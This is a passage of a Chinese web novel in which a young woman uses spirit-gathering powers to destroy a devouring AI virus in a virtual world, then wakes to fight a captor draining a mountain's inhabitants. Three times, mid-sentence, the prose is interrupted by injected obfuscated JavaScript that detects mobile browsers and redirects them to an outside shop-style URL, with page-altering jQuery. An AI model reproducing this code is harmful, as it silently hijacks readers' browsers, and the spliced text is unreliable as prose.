C博士拍了拍栖真的肩,修身的轻便铠甲是他特意嘱咐她穿上的:“孩子,紧张吗?” 披风被海风吹得猎猎,栖真将拂乱的长发挽回耳际:“博士,您看我紧张吗?” C博士感叹:“自古以来,战争都讲究天时地利人和。我们的敌人是无比强大的病毒,具备一切人工智能的特点,但说到底仍然只是一段程序而已。它有极其精准的嗅觉,只要嗅到结界外有多人聚集,就会引它出现。我们半年里做过无数次试验证明这点,所以不用担心今天白来一趟,吞噬者一定会出现。” 他指着沙滩后影影绰绰的树林:“那里,你看不到的地方,平时陪你训练的一千死士即将出城进入树林,献出神识形成攻击波。而这片树林背后的月亮湾主城,常驻人口一万五千人,按照你训练时达到的1:10聚拢量,你当下可以聚拢的当量极限是十六万,我不相信现阶段的吞噬者能抵挡住这种体量的攻击。” 栖真用长靴踢着沙砾中的小贝壳,垂首问:“博士,您觉得我有能力聚拢整整十六万神识?” C博士温声道:“栖真,不要小看自己,这一年的成长让你脱胎换骨,不试试怎么知道自己极限在哪里?训练是一回事,上战场是另一回事,真地面对敌人将大大激发你的潜力,我们要的是一击必中。” 走到正对大海的沙滩正中,C博士停步。今日海水温驯,冲上滩涂的浪花都透着俏皮。这就是天宫的好处,不可控的自然力量在系统调整下再没有不受驯化的狂暴,全然以人们通用的欲念为面貌。 C博士满意眼前所见,事实上天宫哪一处不令他自豪?而一个小时后,这个璀璨世界里的毒瘤,将他毕生心血毁于一旦的bug将被永远清除! 他对大海开口,像对情人般轻柔:“栖真,天宫没有皇室,没有统治,我们都是为民众服务的仆人。大家尊崇你为公主,不是因为你血统高贵,而是因为我们认可你有能力拯救天宫。这声‘公主’远比现世里的贵重,它是一种至高无上的殊荣。” 栖真也看向大海,将三日来的思考和盘托出:“一年前我不明白,为什么我在草原好好的,忽然被带来见您,又为什么被推上高台,每天必须承受痛不欲生的训练,可一年后的今天我有了答案。” “天宫有十万人,如果连一个能解决病毒的人都找不到,这十万人将不复存在。现在于十万人中找到了这样一个人,天宫就有生机。即使我是十万分之一,我也只是十万分之一而已,我因为特殊能力被选中,才有机会接受您的训练,登上高山,看到远高于我头顶的风景。今天站在这里和您对话的我,不是一年前的我了!单为这点我就足够幸运,单为这点,都值得我拼尽全力。博士,不管今天结果如何,我都感激您为我做的一切。” 吞噬者到底侵害过多少人的神识,之前道听途说,三天里她查了数据,做了吞噬当量的发展曲线,通过全盘思考得出一个结论:吞噬者的能力以指数级别递增,如果不在此刻彻底遏制,之后即便扑上整个天宫的人口都再难如愿。 留给他们的时间,不多了。 不知道格朗为何和她进行那样的“秘密谈话”,但通过独立思考和判断,栖真发现天宫的现状和趋势更接近C博士的断言,但她仍感激格朗,如果不是为她考虑,他应该没必要说那样一番话。 只是如今,怕要辜负格朗的好意了。 她没有为拯救苍生牺牲自己的想法,阿恒还在等她,但若拼尽全力就能达成目的,她必全力以赴! 下次见到阿恒,她要把这里发生的事一字不落告诉他,然后听他用不屑的口气继续diss博士,diss人类,disseverything。 栖真看着浪花,面上浮现笑意,纵使大战在即也并不紧张,反而因为阿恒的存在心间充满力量。 这个微笑看在C博士眼里,却是另外含义。 他希望看到栖真盛意拳拳,希望听到她指天誓地,希望感受她为消灭敌人不惜一切的决心,而不是在最后一刻眼含温柔,面容和煦,状似软弱,漫不经心。 C博士回身看了一眼。 远处,格朗在林边给他打手势——一千死士已然埋伏就绪。 C博士走到栖真身后,挡住背后过来的视线,带着隐秘道:“人都备好了,吞噬者随时可能出现,万分希望你平安,但有件事,我觉得你应该知道。” 他面上浮现为难:“栖真,你知道,我至始至终把你当家人关怀,我很好奇你为何那么喜欢草原,所以让人去看了看。其实你有喜欢的人是件好事,但你大概不知道,你喜欢的那个孩子已经不在了。” 栖真一愣。 没听明白,她喜欢的孩子……C博士说的是阿恒吗?他发现了阿恒的存在?但“不在了”是什么意思? C博士像通知女儿噩耗的父亲,沉重道:“我想派人保护他,但晚了一步,我的人没找到他。我调取了附近村落的语音监控,发现就在两天前,他被吞噬狼吸食,神魂消散了。” 栖真对这番话做出了应有的理解,身体木然,嘴唇翕动,没发出一声。 C博士点开腕表,放出一段语音。 沙沙的频道干扰声里是清晰的声嘶力竭。 “妈妈,你们快走!” “我和爸爸挡住吞噬狼!” “啊……啊……啊……!” 确实是阿恒的声音,仓惶的、惊恐的,及至最后夹杂着被撕咬的痛呼和神识被吸食的痉挛。 一声强弩之末的“栖……真……”,随后语音里就只剩别人惊恐的挣扎。 栖真抓住C博士:“不可能,我不相信!” C博士怜悯道:“我也希望不是真的,但那晚他们一家三口和村里十几个村民都丧生狼口,我已再三确认,他到最后一刻都在唤你名字。” 栖真跪跌在地。 飞回岩崖,飞回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014702|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草原,飞回村庄,耳边全是阿恒的声音。 “站那儿干嘛?还不过来?” “你觉得我说的不对,可以不听。” “让他们别打我女人的主意!” “猪说得很对。” 微笑的、讽刺的、不屑的、温柔的…… 她的阿恒…… 她的阿恒…… 直到最后一刻,都在叫她…… 阿恒不在了………她即使回去也见不到他……她再也见不到她的恒哥哥了! 不可能!不可能!不可能!不可能!不可能! C博士焦急地催促:“消灭吞噬者,为他报仇,栖真,消灭吞噬者!” 林中死士结阵,一千当量的神识灿若骄阳,但和逐渐走上沙滩的吞噬狼比不够看。那是蝗虫般的狼群,无数冰冷的蓝眼珠在沙滩上闪动,贪婪的狼嗷向树林鼓噪。 吞噬者果然是严密程序的产物,不具备人类怀疑的属性,集结成队的一千当量神识都没让它退却。狼要吃肉,虎要扑食,哪里有粮,吞噬者就出现在哪里。 在比特的世界数量原本就不稀奇,几千匹机械狼说来就来,与之对抗的则是人类活生生的精神体,是无法再生的宝贵资源,是天宫最后的支撑。 C博士最快速离开沙滩回到林中,和他狂热的崇拜者、自愿贡献神识的死士们待在一起。 留在沙滩上的除了崩溃的女孩,还有魔音穿耳的叮咛。 “消灭吞噬者,为他报仇!消灭吞噬者,他不能白死!消灭吞噬者!消灭吞噬者!消灭吞噬者!” C博士目光不敢稍离,可什么时候了,公主还跪在地上痛哭,真是恨铁不成钢啊! 为了让栖真倾尽全力,他玩了一出心理游戏,在大战前最后一刻下剂猛药。 将格朗装饰扣里偷录的音频调出,用系统解析人声,重新合成语音。被捧上神坛的公主仍然天真,果然不辨真伪地相信。 只是……药似乎下得太猛。吞噬狼开始包围树林,栖真还陷在无法自拔的情绪里,跪地哀悼廉价的感情。 C博士大喊,声音响彻沙滩都没能震醒本该主导战役的人,他懊悔地引导攻击波,袭向往树林奔袭的狼群。 一千头狼至少三千匹神识才能抵挡,而此刻出现在沙滩上的狼群不止一千,C博士的神识再强大也比不上诺亚人1:10的变态聚拢力,他至多翻倍,如果秘密武器还魂不守舍,今日月亮湾将被血洗。 格朗看出女孩的异样,想冲出树林,道路被狼阵切断,没有空地让他穿越,面前全是挨挨挤挤的狼群,令人恐惧的蓝瞳闪耀一片。 狼群的先头部队冲入林中,被刹那击溃,可攻击波挡不住洪水,当浪潮般的敌人前赴后继,结阵都来不及的死士被扑倒在地,一千人的队伍乱了套。C博士的聚拢力不得章法,根本组织不起反击。 但是很快,形式发生了逆转。 众人溃败的神识遭遇一股强大的吸力,神识球被磁力吸住,一个个飞天,很快拢成庞大的攻击云体。 云体自有意志,哄声砸向扑跃的狼阵,掀翻前线。 瞬间,几百匹机械狼飞灰湮灭。 这只是开始! 无论死士惊慌奔逃,还是杂乱倒地,神识不再归他们所有,被毫无道理的恐怖力量支配,如流水朝宗、百川归海,沙滩上空的攻击云最快速度壮大,一簇簇小型攻击波自壮大的云中向下群攻,林中烟尘四起,全是攻击波击穿机械狼后溅起的尘土。 程序无所谓恐惧,吞噬狼感知真正吸引它们的所在,不再往林里去,向海滩边围拢。那里的神魂无与伦比,带着沁香,结界外从未有过。 纵使消灭几波,机械狼尚存千匹,将沙滩上的女孩团团围住不急于撕咬。它们嘶声长嗷,狼牙毕现,动作划一地吸食起女子操控的云体。 被聚拢起的神识化作千缕,通过狼口,归吞噬者而去。 攻击波的歼灭战,转为聚拢与吸食间的拉锯战——这才符合C博士的预期,他爬起来,拍掉军装上的尘土,到助手身边。 本该指挥身后东倒西歪队伍的格朗却渎职,眼里只有沙滩上的战况。 C博士:“不用紧张,她没有理由不尽力。” 格朗深眉紧锁,黑目漫着焦急,戴在手上的腕表能测出前方已然聚集的神识当量,表盘上的数字在疯长,8000、8500、9000、9500、9900……数字接近训练的极限,用一万当量神识喂饱吞噬者就别再继续——他叮嘱过她的。 可下一瞬,神识球在空中溢出烈烈火光,强光辐射沙滩一片白芒,狼嗷、人声、海浪……全数消音,无数比特在白芒中分崩离析。 等C博士从炫目的白光中恢复视力,沙滩上已无吞噬狼的踪迹。一头都没。 表盘来不及调整数字,还显示着刚才的巅峰数值——20000。 格朗面色骤变,眼睁睁看着跪倒在地的少女喷出鲜血,他飞奔过去想接住她摇摇欲坠的身体,却停在半途。 栖真身后,天空黑云密布,雷鸣诡谲。 黑云中裂出一道天缝,随着缝隙变大,一只冷酷的冰蓝眼瞳占据半边天空。 “天哪,吞噬者!” “是真正的吞噬者!” 死士们奔出树林,此起彼伏地惊呼,没人想到有生之年,能亲眼见到吞噬者的真面目。 219. 天宫(7) 耳边涤荡远古的梵音,死士们的神识抽去大半参战,神魂不稳,催眠般在树林边跪下,浑然不觉作为人类的他们才是程序的主人。 而C博士在进入反攻的一瞬间,用腕表开启电子屏蔽罩,以防神识也被公主摄取,融入攻击云,成为芸芸众生平白丧命。即便如此,他也难免产生面对强大劲敌时的心悸。他创造天宫拯救人类,却放任病毒植根系统。天宫没有任何一个人有立场和勇气指责他。只有他心里清楚,这完全是一个因自大犯下的错误,可如今狡猾的程序反客为主,以统御之态威慑人间,对天宫创造者进行极端挑衅。 “公主,起来对敌!起来!”他没有挪动,手舞足蹈的呼喊却撕心裂肺。 吞噬者为何会出现? 只有一种可能!它尝到了甜头! 引其现身的巨大诱惑就在面前,靠他、靠散沙般的天宫人都不足以抵御它,只有一人可以! 栖真擦去嘴边血渍,撑膝站起。不怕摇摇晃晃站不稳,也不怕身体承受的痛苦,她双目亮得慑人,为阿恒流的泪还未干,面对吞噬者她却带笑,残酷的扭曲的笑。 阿恒看着,我为你报仇! 阿恒的神识既然葬于吞噬者之口,就必在吞噬者体内,此刻与她同在——栖真固执地相信这点。 胳膊被拽住,有人抢夺她的注意,但一年的地狱训练没白做,栖真头都没回,反指一排射地炮将人隔开。 那一刻火球乍现,将她裹挟其中,升到空中,把声音屏蔽在外,与天眼对峙。 之前两万当量的消耗让人力竭,但眼□□内再次热血奔腾,摧枯拉朽般荡平萎靡,栖真沉静下来,呈现海纳百川的平和之态。 愿人携手,赠吾辈以神识! 予我之矛,拓人类之前路。 一段程序,安敢遗忘,谁是主人? 掌心覆手背,熊熊烈火感召月亮湾十万神识,流星般从主城投射,汇至火球上空的攻击云。 不要小看十万神识的威力,攻击云越扩越大,弹指间占领半边天空,足以与天眼分庭抗礼。 就在这时,吞噬者动了。冰冷的天眼机械般拨转,带着来自远古的冰冷谛视,也像古早世界的炮口,瞄准进攻的目标。 那眼神仿佛拥有自我意识,并不将自己当程序对待,到像带着使命,反过来对人类文明进行终极审判。 地球诞生四十六亿年,生命起源三十五亿年,七百万年前人类雏形,硬生生在之后九百年的工业革命里,将宇宙最慷慨的星球破坏殆尽! 那么历经六百年自我进化的人工智能,又为何不能将地球的毒瘤净化干净? 吞噬者浅蓝色的虹膜开始放射,冰蓝的瞳孔缓缓扩大。 天宫本是程序,可连程序本身,都嫌弃人类的藏身。 不能再等!吞噬一切!净化一切!消灭躲藏在程序里的蠹虫,人类才是地球真正的病毒! 若闸门洞开,瞳孔开始吸食神识。 栖真聚拢来的月亮湾十万神识枕戈待旦,像吸管里身不由己的水流,以一种有条不紊的速度汇入吞噬之眼。 随着吸入的神识越来越多,吞噬者的瞳孔也越扩越大。 可是占据半边天的神识并不见少,一头出,另头补,有人舒缓呼吸,放平心跳,以配合的频率聚起来自地界的神识。 C博士表盘上的数字在疯长,五万、六万、七万……百位以下飞到肉眼无法分辨,第一位数字都在以读秒的速度上翻。 对此,即便最了解情况的博士都惊讶不已。 这是奇迹,一个不可能达成的奇迹! 无论公主聚拢力多强,都是以她自身神识做基,可栖真的神识,四百年式微,近年才突飞猛进,一时爆发可以做到,长时间输出却极其勉强。 她疯了?这分明是赔上性命也要和吞噬者硬扛的姿态。 不愧是他挑中的人,只要干翻吞噬者,即便牺牲世间唯一的诺亚人也不是不行。天宫没有公主,人类依旧长存,连她都不尽力,天眼谁人可抑? 看不上格朗在沙滩上濒临崩溃的模样,现在让栖真收手又有什么意义?C博士对助手的失态频频皱眉,格朗追随他上百年,凭他对他的了解,格朗本该更加淡定。 不过这些都是旁枝末节。博士的视线在表盘和天际来回逡巡,月亮湾一万五千常驻人口至多贡献十五万神识当量,如今已翻到十万以上,眨眼就要超限,可吞噬者仍无撑爆迹象。他很清楚,若十五万都撑不死它,对他们而言就是完败。 可远处投射来的流星雨仍然络绎不绝,随着表盘上的数字升到十六万,还在稳定上涨,博士讶异地明白过来。 穆兰城、百花城、葳蕤城、甚至龙宫……想必那些遥远的主城也有神识调动,不远千里,共赴这场人类统一战线的绝地反击。 C博士难得动容,为这一难得的盛况热泪盈眶。 眼前的局面再次印证了他的信念——靠自愿奉献难成大事,高度的统一必须依赖强权,公主的能力就是强权的保证。 当初他的确犯了错,但启用公主,把她调教出来为天宫保驾护航,就是他对自己错误最好的弥补。她是他的刀,也是他的药。 如今看来,那招激将法真是适得其所,妙不可言。 博士在心里默念:万物都有极限。 当吞噬者的瞳孔扩至整片虹膜,就是它吸食的极限。 眼睛放大至半片天空,瞳孔的动静不可能被轻易藏匿,一如博士所料,从某刻起,吞噬者的瞳孔慢慢开始回缩。 这动静一开始不被察觉,但博士作为沙滩上唯一清醒的观察者,不会放过它一丝一毫的变化。 “公主,加把劲,坚持!” 博士不敢高声,因为不确定吞噬者是否能够解读人类的语言,不能冒险让敌人听去他的心声,可他又控制不住兴奋。 看啊!就在刚才,它撑到顶了,到它吞噬的极限了! 不过片刻,天眼像闭合不上还要硬关的行李箱,瞳仁上珊瑚般的褶皱开始扭曲。 是的,就是这一刻! 博士对公主挥手示意。 就是现在,绝佳的时机!反击! 天上,一直被天眼主动吸食的神识流变了路数,撕开从容的脸皮,成为□□的滔滔洪水,向吞噬者排江倒海涌去。 天眼感知危险,瞳孔闭合更快,眼眶开始变淡,像要开启隐匿,但火球没给它机会。 洪涛般的神识化身蛮横捣去,在瞳仁闭合的前一刻狠狠击上天眼。像人类的眼睛一样,天眼被如此猛烈的攻击刺激地瞬间闭合。 天地为之一静。 C博士的心吊到嗓子眼。 晚了!搅棒已然袭入瞳仁,成了撑爆吞噬者最后的力量。天眼知痛,想闭闭不上,想吐吐不出,左突右进痛苦不堪,它的濒临崩溃搅乱了天宫的程序,向来温柔已极的月亮湾上空黑云频闪,雷电轰鸣。 顷刻间,天眼爆裂,无数比特化作亮片齑粉,洒向海面。 如梦似幻,悠悠扬扬。 云消雷散,尚未用到的神识幸运地悄然回归。 天空恢复素净,那一刻,烈焰失了活力,瞬间收拢,栖真自变得黯淡的火球中睁开半阖的眼。 回头看去,底下有爱她的博士和格朗,有她爱的人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023939|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 转首,天广海阔,素净的苍穹若地球始开的蒙昧,也如婴儿初啼的脸。 阿恒想来已然化作天际永耀的恒星。 而她,亦将追随! ………… 被窒息折磨到失去意识的前一刻,体内禁锢的封印彻底崩裂,尘封的过往与现实重合…… 栖真在能量负荷液里睁眼,百年雌伏,一朝长成,天宫的一切在脑中炸开。 她的阿恒…… 泪水融在黄绿色的液体中,心间满是悲伤,脑中全是已然没有阿恒的素净苍穹。 可现实总要把她拉回来…… 窒息感利爪般遏住咽喉,透过营养液,她看到旁边的聚荷池中漂浮着好多神识。 聚荷池底下的那座高台正上下起伏,气泵一般发出和透明管内壁摩擦的嘶嘶声,神识球像被气泵吸来的粒子,在管内飞舞。 无疑,这些神识球属于万仞山上的士兵、侍者、学生和老师……球体中透出鲜活的人像,有的栖真认识,有的不识。 无论认不认识,此刻,恐怖的尖叫和因痉挛导致的喘息在栖真心田响彻,她能感知所有遇难者的心声。 求饶、战栗、恐惧、对抗、莫名……所有挣扎不过蚍蜉撼树!谁能抗拒将魂灵拉出天灵盖的诺亚人的聚合力? 很快,她甚至看到了容绽、聂灵鸢和袁博的神识球。 喉上利爪收拢,栖真即将失去意识。 ——谁来救救他们,救救我? ——Beafighter! ——谁?谁在呼唤?谁叫我beafigher? 腹部一阵抽痛,栖真清晰感受到体内那枚小小的精魂,正与自己共振。 母亲,Beafigher!我们本是一体,我们神魂同在,我愿替你承受封印,解你困厄! 那一瞬,栖真小腹骤痛,体内有物破裂,一股温热的暖流滋润四肢百骸。 指上激越的红光熄灭,护戒裂成两段,在能量液中沉坠。 重离背对栖真所在的能量管,聚精会神看着聚荷池,欣赏和惊叹“到我碗里来”的食物。 铺天盖地的甜馨弥漫洞中,重离发现异样转首时,能量液中气泡成窜,而他以为已经在液体中昏迷的女子,正双眼如炽盯着他。 栖真双掌护着一颗赤焰滚滚的火球,耀眼的白光像裂变的中子从球内炸裂。 能量液眨眼蒸发,整根管道云蒸雾燎,被蒸腾的白气包裹。白光力道强悍,顺着透明管直插洞顶,将石体打穿,透下雨水和天光。 意外发生得太快。重离沉下脸,目视透明管中的若隐若现。 现代世界的栖真早被封印,四年前洞中初遇他就确认这点,今时今日栖真不过是个普通人,不具备任何法力,更遑论诺亚人的聚合力。 所以他必须将她置于能量负荷液中,和电池发电一个原理,即便被动释放,他也终于用到幸福值一百时栖真处于及格线上的聚合力。事实证明只要公主出马,聚合人类神识简直轻而易举,万仞山的神识不就在弹指间全数聚拢来?! 甚至整片中土的神识都将入他肚腹,结束长达百年的休眠,为永生提供能量。 是的,整个中土,没一个人能逃掉! 他在哪里,哪里的人类就该为这个物种的愚蠢赎罪,只是公主再一次让他意外了,似乎总是这样——公主在哪里,哪里就有意外! 栖真身上的封印突然解除,原本动动手指就能得偿所愿,如今只怕要靠暴力才能遂愿。 重离嘴角扬起冷酷的弧度。 打穿山洞又怎么?有种,打破鸟笼飞出去啊! 220. 第 220 章 大雨天御剑没那么快,手上护戒发出预警时,风宿恒和凡心还没出大荒流。 小包子头一次见护戒红光激越,奇道:“戒指失灵了?妈妈去见重离会有什么危险?” 早起的不安成了真,风宿恒眼皮狂跳,沉声道:“护戒不会失灵!” 全速飞回万仞山,见雨幕中一道结界覆盖整个山界,原本上空阻人御剑的气流消失了。 万仞山的结界看不见摸不着,唯独禁锢栖真一人,这点凡心都知道,现在结界具化了,现出彩虹般的波光,和曾经笼罩大容百年的结界一模一样。 山下人声沸腾,镇民们围拢山脚捶打波光层,可万仞山被包裹得里外不通,大人们只好朝山上嘶喊自己的孩子。 凡心面色大变,从空中直撞结界,即将撞上的那一刻,被一股大力抓着后领提开。 “我试一试!”凡心急得跳脚。 “试四年了。”风宿恒不让他飞蛾扑火,这速度撞上去非伤不可。 他们在空中清楚看到山道上、开物顶上、子石洞旁,甚至长风谷内,全是倒卧的人影。守卫、学生、老师……各种姿势,一动不动,不知昏迷还是殒身。整座山头没有丁点活气,而他们心心念念的人视野里根本看不见,而坟头山毫无异样。 风宿恒喊:“去疏散百姓。” 小包子听爹爹命令,有泰山崩于前而面不改色的冷静,心也定下来。转头飞抵山下,指挥山外的可能宫人驱散百姓,赶不走的拉离山脚,全数禁在胡桐林外。 禁止通行的麻绳刚拉起就起了狂风,吹得人站不住,万仞山上空骤起风雷,雨幕盘成一道陀螺,滂沱的雨和飞缴的沙石混合,陀螺蓄着法力,集中于金色巨弓上。 一梭金光灿若流星,直射结界顶。 这下如木槌敲在颂钵,浑厚的泛音向四野辐射,镇民捂耳躲避。而结界受了刺激,自带的波光从顶端一轮到底。 可等烟尘散去,结界还是原样,并无损伤。 很快,第二轮、第三轮、第四轮……一波又一波在万仞山顶炸起。那是极灭境的强者将神识提到最高后的狂轰滥炸,爆发的威力即便一座城池都能夷为平地。 凡心也御剑重回天上,他的实力和爹爹相去甚远,但好歹入了全尽,也神识大开全力输出,将风系法术用到极致,同风宿恒攻向一处。 一时天地变色,黄沙漫天,悍风席卷。 但结果仍然令人失望。 结界上的波光轮到飞起,结界表面都不见一丝裂痕。 而风宿恒手上护戒的红光再次大亮,昭示着血脉相连的另一头是怎样挣扎于生死线上。 凡心道:“我娘她……!” 不相信风宿恒没看见护戒的疯狂警示,但他脸上并无多余表情,仍专注施法,唯有发红的眼角,绷紧的下颚泄露内心。 事实上风宿恒在施法过程中,和雷恒交换了无数意见。 “找仙门百家襄助来不及,这样发力一处也没效果,你再想想,平时栖真有没有说过什么可以当线索?” “你不都听着?” “你们亲热我从来不听!” 风宿恒只好沉心回忆,倏忽想起曾经一段对话: ———重离一直说运力问题,就是说他的山洞和洞里的装置目前就在充运力的过程中。我想他说的超氢能一定有某种产生机制,所以如果我们可以把这种产生能源的机制破坏掉,或许他布下的结界就会消失。 ———你觉得是这座山里的什么在提供能量? ———不知道啊! 风宿恒问:“若重离加充的运力就是超氢能,什么东西可以提供超氢能?” “超氢能?”雷恒想说我不是未来人,哪里懂什么超氢能,脑中灵光一闪:“超氢能……氢能?” 离世前他投了不少以改善污染为目标的新能源项目,其中一个就是氢能汽车,他看过氢能资料。 雷恒急语道:“也许超氢能的本质就是氢能!氢,电解水能得氢,所以是……水?是水!” 风宿恒立刻明白过来:“重离住的山头就有飞瀑,下面是河!” “对,飞瀑!势能,水能,转化成超氢能,一定是!这就是重离说的加充,他一直在利用地理环境为山洞加充运力!” 四年里风宿恒摸过万仞山的每一寸,知道三峰溪通向何方,过去他甚至想过带栖真从下游游出去,事实证明行不通!游到山界边缘,他能往前,栖真却不行。 现在思路倒过来了! 栖真在科学课上强调过“能量守恒”——世上不存在平白无故产生的能量,一种能量的强势往往源自另种能量的转化,久攻不下的结界不会平白产生,一定有东西给它提供能量,想办法把能量来源遏制,就能破坏掉结界。 三峰溪由东往西出山界,汇入辛丰东北部的湖泽,下游河道拓宽,清晨的暴雨让河水汹涌。 风宿恒飞至溪流出万仞山的那段,起手结印。水系法术不是他的本命,但容绽如今也不会比他玩得更溜。很快,河水以一种不可思议的速度冻住,风宿恒在坚冰上拍下蕴含法力的一掌,封冻直往上游传递。 纵使凡心已经成为地地道道的修行者,目睹这种凭一己之力封冻整条河道的壮举,仍然发出情不自禁的赞叹。 再回万仞山上空,坟头山下三峰溪全数冻住,泛着冷冽的寒光。 风宿恒召唤凡心再开法力,同时向结界猛攻。 只是结果再一次让他们失望了。 结界并没因河水封冻做出期待的消减。 “坚持一下,坟头山应该类似蓄电池,断了源头,不代表存储的能量立马用完。”雷恒尝试用现代知识做出解释。 很快,凡心惊喜地叫了一声。 虽然只是一道数米的裂痕,结界终于出现皲裂。 但他们高兴得太早!那道裂缝并不因狂轰滥炸继续扩大,反像某种昭示,嘲笑着想要毁灭它的努力是如何的不自量力。父子俩心急如火,就听啪一声,风宿恒手上护戒彻底碎裂。 “栖真!!!” 护戒不会自毁,除非…… 风宿恒五内俱崩,膝头点在剑身,喷出口血,幸亏一臂撑住才没跌下剑去,好在很快恢复神智,支棱着从剑上站起,擦去唇角血渍,强迫自己凝神。 “我们那个世界没有法力这种东西,当年我见栖真第一面就封印了她的神识,可刚才我感觉到封印破了!” 雷恒和风宿恒本是一体,此时风宿恒除了自身伤心欲绝,还要承受雷恒的悲痛。 雷恒继续道:“只有两种情况封印会破,要么觉醒,要么身死。” 结合破裂的护戒,答案是哪一种,似乎不证自明。 可雷恒不想往那个方向想,风宿恒更不愿,两人此刻达到灵魂上的高度统一。雷恒心念一动,风宿恒便知他要做什么。 “不用告诉她我的事,一个字都别说。” “风宿恒,最后一个心愿,希望你能帮我达成……” 下一刻,常伴脑中的声音炸成碎片,开天辟地的强力撞入神识,亘古和现代融为一体,风宿恒入了前所未有的新境界,将大荒流的风势控于手中,风箭带着丛火,击到结界上时惊天动地,震得地面都在颤动。 凡心被磅礴的风箭震慑,差点从剑上跌落,他知爹爹火力全开能到什么程度,但明显, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032972|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现下风宿恒表现出来的远在其上。 凡心目瞪口呆。 当初他自己从大道入小神不过瞬间,也体会过池鱼入瀚海的新奇和畅快,如今爹爹神情肃穆,仿得人间大道,分明再次飞升上阶! 原就在极灭境,所以现在,爹爹入了绝迹? 整个中土,绝迹境就是个神话,还活着的修行者中,就没听说谁在此境的。 凡心不知雷恒的存在,他只看见风宿恒脱胎换骨,卷土重来。即便是亲人,凡心都体会面对顶级强者时的战栗。 脚下的万仞山起了变化。 一声轰响,就见坟头山顶碎裂,从山体□□出一道白光,恰好击在裂开的豁口上。 风宿恒配合无间,一支箭辖着风雷,再次向豁□□去。 内外夹击下,惊天动地声,差点将耳膜震碎。碎片擦着皮肉飞过,烟尘散后,凡心身边已无风宿恒身影。 结界破了! 凡心狂喜,随风宿恒奔进坟头山,一时惊得合不拢嘴。 一路生怕他妈遭遇不测,他心都揪紧,谁知踏足洞中居然见到如此令人发指的景象——她妈气焰嚣张,骑在一个男人身上将其海扁。 “放他们出来!” “把神识放回去!” “听到没有!” 那男子身形高挑,照理不该被人这样揍,偏偏挣不脱,虽举手格挡也只有挨打的份。 栖真揪着男人领子,将他上半身从地上提起,对那张鼻青脸肿、黑发散乱的脸大吼:“博士!听到没有!” 一只手按在她肩头:“真真!” 栖真陷在疯狂里,等身边人将她脑袋掰过去,四目相对,她才恍惚认出面前人:“宿恒……” 风宿恒将她从重离身上拖起,退到洞边。 栖真浑身黏湿,抖如糠塞,一手捂腹,语无伦次:“孩子、孩子,救……”又慌乱地指着远处完好无损的聚荷池:“他把他们神识都吸来……把他们放回去……否则救不回来了!” 风宿恒见聚荷池中灌满的神识球,联想到漫山遍野的睡众,多少猜到来龙去脉。 “没事,我在!” 栖真安然无恙已然让他松口气,脱下蓑衣披上栖真肩头,紧紧抱她一下后交给凡心,上前把重离从地上提起。 早年见过重离,知道这男人是怎样强悍的存在,风宿恒吃惊于对方现在的狼狈——眼眶淤青,嘴角崩裂,右颊肿大……他回头看了栖真一眼,不敢相信是他媳妇揍出来的。 没问怎样才能把神识放回,风宿恒只问了一句:“你要什么?” 蛰伏四年,一朝变脸,你要什么? 把栖真逼疯,把神识吸来,你图什么? 重离和风宿恒身高接近,身形相似,重离抬手抹去糊眼的血,堪堪站直,对栖真他还心有顾虑,对风宿恒,正眼都不值一个。 “公主就是公主,无论哪个时代都是顶级的存在。”重离现出一个无机质的笑容,举起双手做投降状:“成王败寇,我认输,我放他们回去。” 风宿恒眼中闪过冷光,捏住重离左肩,咔啦脆响,废了他一条臂膀:“别耍花样!怎么放,你说,我做!” 疼痛让重离晃了晃,脸上却一片漠然,好像削掉手臂或挖去眼珠都没什么大碍,还有一口气在就行。 重离喘息:“去操作台。” 风宿恒提防:“按什么?” 重离嘲讽:“你看得懂?” 风宿恒押他上高台,盯着他在扶手上按键。可惜,上面的符号风宿恒看不明白。 重离连按几键,对风宿恒打了个响指:“留她一命。”然后像帝王一样端坐下来。 221. 第 221 章 当风宿恒去料理重离时,栖凡心把更多注意力放在栖真身上。 “爹爹入绝迹了!结界已破,走,我送你出山。”他扶栖真往外去,低声急语:“万一那神经病又弄出一层结界,就亏大了!” 这应该是天大的喜讯,谁知栖真不肯挪步:“人还没救出来!” “交给爹爹,爹爹一定能救!”小包子恨不得立刻带栖真驾剑西去。 “凡心!”栖真甩开他手。 朋友、学生,万仞山上所有与她气息相关的人还生死未卜,这种时候她怎能先行离开? 为了救她,日夜期盼才怀上的孩子献出精魂,替她承受封印,助她觉醒,大仇未报,她怎么离开? 天宫记忆恢复了,久别重逢的C博士为何出现在中土,又为何利用她聚拢神识做出和吞噬者一样的事?事情还未解决,她甘心离开? 